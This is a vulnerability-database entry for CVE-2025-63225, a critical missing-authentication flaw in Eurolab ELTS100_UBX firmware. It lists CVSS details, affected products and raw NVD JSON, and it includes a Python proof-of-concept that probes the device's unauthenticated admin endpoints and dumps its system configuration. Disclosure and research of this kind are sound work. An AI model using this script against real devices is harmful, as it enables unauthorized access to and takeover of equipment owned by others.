Security Vulnerability Report
中文
CVE-2025-63225 CVSS 9.8 CRITICAL

CVE-2025-63225

Published: 2025-11-18 19:15:51
Last Modified: 2026-02-04 20:54:02

Description

The Eurolab ELTS100_UBX device (firmware version ELTS100v1.UBX) is vulnerable to Broken Access Control due to missing authentication on critical administrative endpoints. Attackers can directly access and modify sensitive system and network configurations, upload firmware, and execute unauthorized actions without any form of authentication. This vulnerability allows remote attackers to fully compromise the device, control its functionality, and disrupt its operation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:eurolab-srl:elts_100_firmware:elts100v1.ubx:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:eurolab-srl:elts_100:e118:*:*:*:*:*:*:* - NOT VULNERABLE
Eurolab ELTS100_UBX 固件 ELTS100v1.UBX 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63225 PoC - Eurolab ELTS100_UBX Broken Access Control Note: This PoC is for authorized security testing only """ import requests import sys TARGET_IP = "192.168.1.100" # Target device IP TARGET_PORT = 80 BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def check_vulnerability(): """Check if target is vulnerable""" print(f"[*] Testing CVE-2025-63225 on {TARGET_IP}") # Test 1: Access system configuration without authentication endpoints = [ "/admin/system_config", "/admin/network_config", "/admin/firmware_upload", "/api/system/status", "/api/network/settings" ] for endpoint in endpoints: url = BASE_URL + endpoint try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f"[-] Protected: {endpoint}") else: print(f"[?] Unknown: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") def exploit_config_dump(): """Exploit: Dump system configuration""" print("\n[*] Attempting to dump system configuration...") url = f"{BASE_URL}/admin/system_config" try: response = requests.get(url) if response.status_code == 200: print("[+] Successfully retrieved system configuration:") print(response.text[:500]) except Exception as e: print(f"[!] Failed: {e}") if __name__ == "__main__": check_vulnerability() exploit_config_dump()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63225", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.823", "lastModified": "2026-02-04T20:54:01.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eurolab ELTS100_UBX device (firmware version ELTS100v1.UBX) is vulnerable to Broken Access Control due to missing authentication on critical administrative endpoints. Attackers can directly access and modify sensitive system and network configurations, upload firmware, and execute unauthorized actions without any form of authentication. This vulnerability allows remote attackers to fully compromise the device, control its functionality, and disrupt its operation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eurolab-srl:elts_100_firmware:elts100v1.ubx:*:*:*:*:*:*:*", "matchCriteriaId": "13EA443D-4342-441B-90E8-E3A4E8AD64FE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:eurolab-srl:elts_100:e118:*:*:*:*:*:*:*", "matchCriteriaId": "7AA93461-B45F-4A8B-B670-0B1576586E54"}]}]}], "references": [{"url": "http://eurolab-srl.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63225_Eurolab_ELTS100_UBX_Broken_Access_Control", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}]}}